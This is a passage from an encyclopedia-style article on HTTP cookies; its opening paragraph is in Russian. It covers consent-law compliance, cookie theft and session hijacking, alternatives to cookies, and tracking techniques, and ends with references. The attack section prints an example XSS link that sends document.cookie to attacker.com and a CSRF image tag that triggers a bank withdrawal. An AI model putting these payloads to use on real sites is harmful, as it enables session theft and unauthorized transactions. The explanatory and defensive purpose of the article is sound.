Как академические исследования, так и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, охватывающее 10 000 веб-сайтов Великобритании, показало, что только 11,8% сайтов соблюдают минимальные юридические требования, и только 33,4% изученных веб-сайтов предоставляют механизм отклонения файлов cookie, который был так же прост в использовании, как и их принятие. [76] Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушили этот критерий, а также выяснилось, что многие из них устанавливают сторонние файлы cookie без какого-либо предварительного уведомления. [82] Регулирующий орган Великобритании, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Система прозрачности и согласия», разработанная группой рекламных технологий, Бюро интерактивной рекламы , «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточно для обеспечения свободного и осознанного согласия с соответствующими последствиями для соблюдения PECR [конфиденциальности электронной почты]». [78] Многие компании, продающие решения по соблюдению требований (платформы управления согласием), разрешают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности. [83]

A W3C specification called P3P was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.[84]

Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.[85] In 2020, the European Data Protection Board, composed of all EU data protection regulators, stated that cookie walls were illegal.

In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).[86]

Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.[87][88] However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.[89][90] Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.[76]

Cookie theft and session hijacking

Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.

Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.

Network eavesdropping

A cookie can be stolen by another computer that is allowed reading from the network.

Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.

An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.

This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.[43]

Publishing false sub-domain: DNS cache poisoning

If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of f12345.www.example.com that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example, http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from f12345.www.example.com. Since f12345.www.example.com is a sub-domain of www.example.com, victims' browsers would submit all example.com-related cookies to the attacker's server.

If an attacker is able to accomplish this, it is usually the fault of the Internet Service Providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge[91] of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.

Cross-site scripting: cookie theft

Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.

As an example, an attacker may post a message on www.example.com with the following link:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker.com server. If the attacker's malicious posting is on an HTTPS website https://www.example.com, secure cookies will also be sent to attacker.com in plain text.

It is the responsibility of the website developers to filter out such malicious code.

Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.

Cross-site scripting: proxy request

In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to www.example.com with the proxy server attacker.com. Since the request is for www.example.com, all example.com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.

This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.

Cross-site request forgery

For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

Cookiejacking

Cookiejacking is an attack against Internet Explorer which allows the attacker to steal session cookies of a user by tricking a user into dragging an object across the screen.[92] Microsoft deemed the flaw low-risk because of "the level of required user interaction",[92] and the necessity of having a user already logged into the website whose cookie is stolen.[93] Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via social engineering.[92]

Drawbacks of cookies

Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.[94][95]

Inaccurate identification

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.[96]

Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.

Alternatives to cookies

Some of the operations that can be done using cookies can also be done using other mechanisms.

Authentication and session management

JSON Web Tokens

A JSON Web Token (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.

HTTP authentication

The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.

URL (query string)

The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.

This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.

These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.

Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page internal to the site the first time, and then visits the same page by coming from an external search engine the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.

Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.

Hidden form fields

Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.

This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).

window.name DOM property

All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the DOM property window.name. This data can be used instead of session cookies. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables on the client side.

The downside is that every separate window or tab will initially have an empty window.name property when opened.

In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.

Tracking

IP address

Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address.

However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.

ETag

Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data.

ETags can be flushed in some browsers by clearing the browser cache.

Browser cache

The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.

For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, var userId = 3243242;). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.

Browser fingerprint

A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.

Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible.[97][98] Assimilation of such information into a single string constitutes a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting.[99] Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.

Web storage

Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.

The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.[100]

Internet Explorer supports persistent information[101] in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.

Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.[102]

See also

References

  1. ^ "What are cookies? What are the differences between them (session vs. persistent)?". Cisco. 17 July 2018. 117925.
  2. ^ a b Vamosi, Robert (14 April 2008). "Gmail cookie stolen via Google Spreadsheets". News.cnet.com. Archived from the original on 9 December 2013. Retrieved 19 October 2017.
  3. ^ "What about the "EU Cookie Directive"?". WebCookies.org. 2013. Archived from the original on 11 October 2017. Retrieved 19 October 2017.
  4. ^ "New net rules set to make cookies crumble". BBC. 8 March 2011. Archived from the original on 10 August 2018. Retrieved 21 June 2018.
  5. ^ "Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising". Adage.com. 6 May 2011. Archived from the original on 24 August 2011. Retrieved 2 June 2011.
  6. ^ "Where cookie comes from :: DominoPower". dominopower.com. Archived from the original on 19 October 2017. Retrieved 19 October 2017.
  7. ^ Raymond, Eric (ed.). "magic cookie". The Jargon File (version 4.4.7). Archived from the original on 6 September 2017. Retrieved 8 September 2017.
  8. ^ Schwartz, John (4 September 2001). "Giving Web a Memory Cost Its Users Privacy". The New York Times. Archived from the original on 18 November 2011. Retrieved 19 February 2017.
  9. ^ a b Kesan, Jey; Shah, Rajiv (19 August 2018). "Deconstructing Code". Yale Journal of Law and Technology. 6: 277–389. SSRN 597543.
  10. ^ a b c Kristol, David M. (2001). "HTTP Cookies: Standards, Privacy, and Politics". ACM Transactions on Internet Technology. 1 (2). Association for Computing Machinery (ACM): 151–198. arXiv:cs/0105018. doi:10.1145/502152.502153. ISSN 1533-5399. S2CID 1848140.
  11. ^ "Press Release: Netscape Communications Offers New Network Navigator Free On The Internet". Archived from the original on 7 December 2006. Retrieved 22 May 2010.
  12. ^ "Usenet Post by Marc Andreessen: Here it is, world!". 13 October 1994. Archived from the original on 27 April 2011. Retrieved 22 May 2010.
  13. ^ US 5774670, Montulli, Lou, "Persistent client state in a hypertext transfer protocol based client-server system", published 1998-06-30, assigned to Netscape Communications Corp. 
  14. ^ Hardmeier, Sandi (25 August 2005). "The history of Internet Explorer". Microsoft. Archived from the original on 1 October 2005. Retrieved 4 January 2009.
  15. ^ Jackson, T (12 February 1996). "This Bug in Your PC is a Smart Cookie". Financial Times.
  16. ^ a b RFC 2109. sec. 8.3. doi:10.17487/RFC2109.
  17. ^ "Setting Cookies". staff.washington.edu. 19 June 2009. Archived from the original on 16 March 2017. Retrieved 15 March 2017.
  18. ^ The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in later versions of the documentation Archived 2017-03-16 at the Wayback Machine further to RFC 2965's deprecation.
  19. ^ Hodges, Jeff; Corry, Bil (6 March 2011). "'HTTP State Management Mechanism' to Proposed Standard". The Security Practice. Archived from the original on 7 August 2016. Retrieved 17 June 2016.
  20. ^ "Set-Cookie2 - HTTP | MDN". developer.mozilla.org. Retrieved 8 March 2021.
  21. ^ "Description of Persistent and Per-Session Cookies in Internet Explorer". support.microsoft.com. 24 January 2007. Archived from the original on 25 September 2011.
  22. ^ "Maintaining session state with cookies". Microsoft Developer Network. Archived from the original on 14 October 2012. Retrieved 22 October 2012.
  23. ^ Bugliesi, Michele; Calzavara, Stefano; Focardi, Riccardo; Khan, Wilayat (16 September 2015). "CookiExt: Patching the browser against session hijacking attacks". Journal of Computer Security. 23 (4): 509–537. doi:10.3233/JCS-150529. hdl:10278/3663357.
  24. ^ "'SameSite' cookie attribute, Chrome Platform tatus". Chromestatus.com. Archived from the original on 9 May 2016. Retrieved 23 April 2016.
  25. ^ Goodwin, M.; West (20 June 2016). "Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00". Ietf Datatracker. Archived from the original on 16 August 2016. Retrieved 28 July 2016.
  26. ^ "Using the Same-Site Cookie Attribute to Prevent CSRF Attacks". www.netsparker.com. 23 August 2016. Retrieved 5 April 2021.
  27. ^ "Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions". GitHub. Retrieved 5 April 2021.
  28. ^ West, Mike; Wilander, John (7 December 2020). Cookies: HTTP State Management Mechanism (Report). Internet Engineering Task Force.
  29. ^ "Browser Compatibility Testing of 'SameSite' cookie attribute".
  30. ^ "SameSite Cookie Changes in February 2020: What You Need to Know". Chromium Blog. Retrieved 5 April 2021.
  31. ^ "Temporarily rolling back SameSite Cookie Changes". Chromium Blog. Retrieved 5 April 2021.
  32. ^ Schuh, Justin (28 May 2020). "Resuming SameSite Cookie Changes in July". Chromium Blog. Retrieved 18 February 2024.
  33. ^ "Learn more about the Public Suffix List". Publicsuffix.org. Archived from the original on 14 May 2016. Retrieved 28 July 2016.
  34. ^ Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising". The Center for Internet and Society. Archived from the original on 26 September 2011. Retrieved 28 September 2011.
  35. ^ Vijayan, Jaikumar (19 August 2011). "Microsoft disables 'supercookies' used on MSN.com visitors". Computerworld. Archived from the original on 27 November 2014. Retrieved 23 November 2014.
  36. ^ Englehardt, Steven; Edelstein, Arthur (26 January 2021). "Firefox 85 Cracks Down on Supercookies". Mozilla Security Blog. Archived from the original on 25 February 2024.
  37. ^ Angwin, Julia; Tigas, Mike (14 January 2015). "Zombie Cookie: The Tracking Cookie That You Can't Kill". ProPublica. Retrieved 1 November 2020.
  38. ^ Stolze, Conrad (11 June 2011). "The Cookie That Would Not Crumble!". 24x7 Magazine. Retrieved 1 November 2020.
  39. ^ Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology". ProQuest. Online Information Review. ProQuest 194487945.
  40. ^ Jim Manico quoting Daniel Stenberg, Real world cookie length limits Archived 2013-07-02 at the Wayback Machine
  41. ^ Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 January 2019). "Secure and efficient protection for HTTP cookies with self-verification". International Journal of Communication Systems. 32 (2): e3857. doi:10.1002/dac.3857. S2CID 59524143.
  42. ^ Rainie, Lee (2012). Networked: The New Social Operating System. p. 237
  43. ^ a b HTTP State Management Mechanism. doi:10.17487/RFC6265. RFC 6265.
  44. ^ "Persistent client state HTTP cookies: Preliminary specification". Netscape. c. 1999. Archived from the original on 5 August 2007.
  45. ^ "Cookie Property". MSDN. Microsoft. Archived from the original on 5 April 2008. Retrieved 4 January 2009.
  46. ^ Shannon, Ross (26 February 2007). "Cookies, Set and retrieve information about your readers". HTMLSource. Archived from the original on 24 August 2011. Retrieved 4 January 2009.
  47. ^ Barth, A. HTTP State Management Mechanism, The Path Attribute. sec. 4.1.2.4. doi:10.17487/RFC6265. RFC 6265.
  48. ^ Barth, A. (March 2014). RFC 6265, HTTP State Management Mechanism, Domain matching. sec. 5.1.3. doi:10.17487/RFC6265. RFC 6265.
  49. ^ Barth, A. (March 2014). RFC 6265, HTTP State Management Mechanism, The Domain Attribute. sec. 4.1.2.3. doi:10.17487/RFC6265. RFC 6265.
  50. ^ "Internet Explorer Cookie Internals (FAQ)". 21 November 2018.
  51. ^ Kristol, D.; Montulli, L. (March 2014). RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax. sec. 4.2.2. doi:10.17487/RFC2109. S2CID 6914676. RFC 2109.
  52. ^ Barth, A. (2011). RFC 6265, HTTP State Management Mechanism. sec. 5.1.1. doi:10.17487/RFC6265. RFC 6265.
  53. ^ "Cookies specification compatibility in modern browsers". inikulin.github.io. 2016. Archived from the original on 2 October 2016. Retrieved 30 September 2016.
  54. ^ Coles, Peter. "HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles". Mrcoles.com. Archived from the original on 29 July 2016. Retrieved 28 July 2016.
  55. ^ Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) (PDF) (Report). Vol. XIII. Symantec Corp. April 2008. pp. 1–3. Archived from the original (PDF) on 25 June 2008. Retrieved 11 May 2008.
  56. ^ Whalen, David (8 June 2002). "The Unofficial Cookie FAQ v2.6". Cookie Central. Archived from the original on 24 August 2011. Retrieved 4 January 2009.
  57. ^ "How to Manage Cookies in Internet Explorer 6". Microsoft. 18 December 2007. Archived from the original on 28 December 2008. Retrieved 4 January 2009.
  58. ^ "Clearing private data". Firefox Support Knowledge base. Mozilla. 16 September 2008. Archived from the original on 3 January 2009. Retrieved 4 January 2009.
  59. ^ "Clear Personal Information : Clear browsing data". Google Chrome Help. Archived from the original on 11 March 2009. Retrieved 4 January 2009.
  60. ^ "Clear Personal Information: Delete cookies". Google Chrome Help. Archived from the original on 11 March 2009. Retrieved 4 January 2009.
  61. ^ "Third party domains". WebCookies.org. Archived from the original on 9 December 2014. Retrieved 7 December 2014.
  62. ^ "Number of cookies". WebCookies.org. Archived from the original on 9 December 2014. Retrieved 7 December 2014.
  63. ^ Statt, Nick (24 March 2020). "Apple updates Safari's anti-tracking tech with full third-party cookie blocking". The Verge. Retrieved 24 July 2020.
  64. ^ "Firefox starts blocking third-party cookies by default". VentureBeat. 4 June 2019. Retrieved 24 July 2020.
  65. ^ Brave (6 February 2020). "OK Google, don't delay real browser privacy until 2022". Brave Browser. Retrieved 24 July 2020.
  66. ^ Protalinski, Emil (19 May 2020). "Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito". VentureBeat. Retrieved 25 June 2020.
  67. ^ Amadeo, Ron (24 April 2024). "Google can't quit third-party cookies—delays shut down for a third time". Ars Technica. Retrieved 25 April 2024.
  68. ^ Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33
  69. ^ "Spy Agency Removes Illegal Tracking Files". New York Times. 29 December 2005. Archived from the original on 12 November 2011. Retrieved 19 February 2017.
  70. ^ "EU Cookie Directive, Directive 2009/136/EC". JISC Legal Information. Archived from the original on 18 December 2012. Retrieved 31 October 2012.
  71. ^ a b Privacy and Electronic Communications Regulations. Information Commissioner's Office. 2012. Archived from the original on 30 October 2012. Retrieved 31 October 2012.
  72. ^ "Cookies and similar technologies". ico.org.uk. 1 January 2021. Retrieved 6 June 2021.
  73. ^ a b "EUR-Lex - 62017CN0673 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  74. ^ a b Veale, Michael; Zuiderveen Borgesius, Frederik (1 April 2021), Adtech and Real-Time Bidding under European Data Protection Law, doi:10.31235/osf.io/wg8fq, hdl:2066/253518, S2CID 243311598
  75. ^ Zuiderveen Borgesius, Frederik J. (August 2015). "Personal data processing for behavioural targeting: which legal basis?". International Data Privacy Law. 5 (3): 163–176. doi:10.1093/idpl/ipv011. ISSN 2044-3994.
  76. ^ a b c d Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21 April 2020). "Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence". Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems. Chi '20. Honolulu HI USA: ACM. pp. 1–13. arXiv:2001.02479. doi:10.1145/3313831.3376321. hdl:1721.1/129999. ISBN 978-1-4503-6708-0. S2CID 210064317.
  77. ^ a b "EUR-Lex - 32016R0679 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  78. ^ a b Information Commissioner's Office (2019). Update Report into Adtech and Real Time Bidding (PDF).
  79. ^ "Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)". www.legifrance.gouv.fr. Retrieved 6 June 2021.
  80. ^ "EUR-Lex - 62017CC0040 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  81. ^ "EU cookie law: stop whining and just get on with it". Wired UK. 24 May 2012. Archived from the original on 15 November 2012. Retrieved 31 October 2012.
  82. ^ Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK". ICT Systems Security and Privacy Protection. IFIP Advances in Information and Communication Technology. Vol. 625. Cham: Springer International Publishing. pp. 213–227. arXiv:2104.05750. doi:10.1007/978-3-030-78120-0_14. ISBN 978-3-030-78119-4. ISSN 1868-4238. S2CID 233219491.
  83. ^ Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.), "Consent Management Platforms Under the GDPR: Processors and/Or Controllers?", Privacy Technologies and Policy, Lecture Notes in Computer Science, vol. 12703, Cham: Springer International Publishing, pp. 47–69, arXiv:2104.06861, doi:10.1007/978-3-030-76663-4_3, ISBN 978-3-030-76662-7, S2CID 233231428, retrieved 6 June 2021
  84. ^ "P3P: The Platform for Privacy Preferences". W3C. Retrieved 15 October 2021.
  85. ^ Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). "Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation". European Data Protection Law Review. 3 (3): 353–368. doi:10.21552/edpl/2017/3/9. hdl:11245.1/dfb59b54-0544-4c65-815a-640eae10668a.
  86. ^ "Guidelines 05/2020 on consent under Regulation 2016/679 | European Data Protection Board". edpb.europa.eu. Retrieved 6 June 2021.
  87. ^ "A Loophole Big Enough for a Cookie to Fit Through". Bits. The New York Times. 17 September 2010. Archived from the original on 26 January 2013. Retrieved 31 January 2013.
  88. ^ Pegoraro, Rob (17 July 2005). "How to Block Tracking Cookies". Washington Post. p. F07. Archived from the original on 27 April 2011. Retrieved 4 January 2009.
  89. ^ Francisco, Thomas Claburn in San. "What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses". www.theregister.com. Retrieved 6 June 2021.
  90. ^ Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 March 2021). "The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion". arXiv:2102.09301 [cs.CR].
  91. ^ Zetter, Kim (23 March 2011). "Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com". Threat Level. Archived from the original on 26 March 2014.{{cite web}}: CS1 maint: unfit URL (link)
  92. ^ a b c Finkle, Jim (25 May 2011). "Microsoft latest security risk: 'Cookiejacking'". Reuters. Archived from the original on 30 May 2011. Retrieved 26 May 2011.
  93. ^ Whitney, Lance (26 May 2011). "Security researcher finds 'cookiejacking' risk in IE". CNET. Archived from the original on 14 June 2011. Retrieved 6 September 2019.
  94. ^ Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation". Archived from the original on 27 April 2011. Retrieved 14 October 2010.
  95. ^ Tilkov, Stefan (2 July 2008). "REST Anti-Patterns". InfoQ. Archived from the original on 23 December 2008. Retrieved 4 January 2009.
  96. ^ Hoffman, Chris (28 September 2016). "What Is a Browser Cookie?". How-To Geek. Retrieved 3 April 2021.
  97. ^ "BrowserSpy". gemal.dk. Archived from the original on 26 September 2008. Retrieved 28 January 2010.
  98. ^ "IE "default behaviors [sic]" browser information disclosure tests: clientCaps". Mypage.direct.ca. Archived from the original on 5 June 2011. Retrieved 28 January 2010.
  99. ^ Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?" (PDF). eff.org. Electronic Frontier Foundation. Archived from the original (PDF) on 15 October 2014. Retrieved 23 July 2014.
  100. ^ "Window.sessionStorage, Web APIs | MDN". developer.mozilla.org. Archived from the original on 28 September 2015. Retrieved 2 October 2015.
  101. ^ "Introduction to Persistence". microsoft.com. Microsoft. Archived from the original on 11 January 2015. Retrieved 9 October 2014.
  102. ^ "Isolated Storage". Microsoft.com. Archived from the original on 16 December 2014. Retrieved 9 October 2014.

Sources

External links

Listen to this article (1 hour and 1 minute)
Spoken Wikipedia icon
This audio file was created from a revision of this article dated 28 May 2016 (2016-05-28), and does not reflect subsequent edits.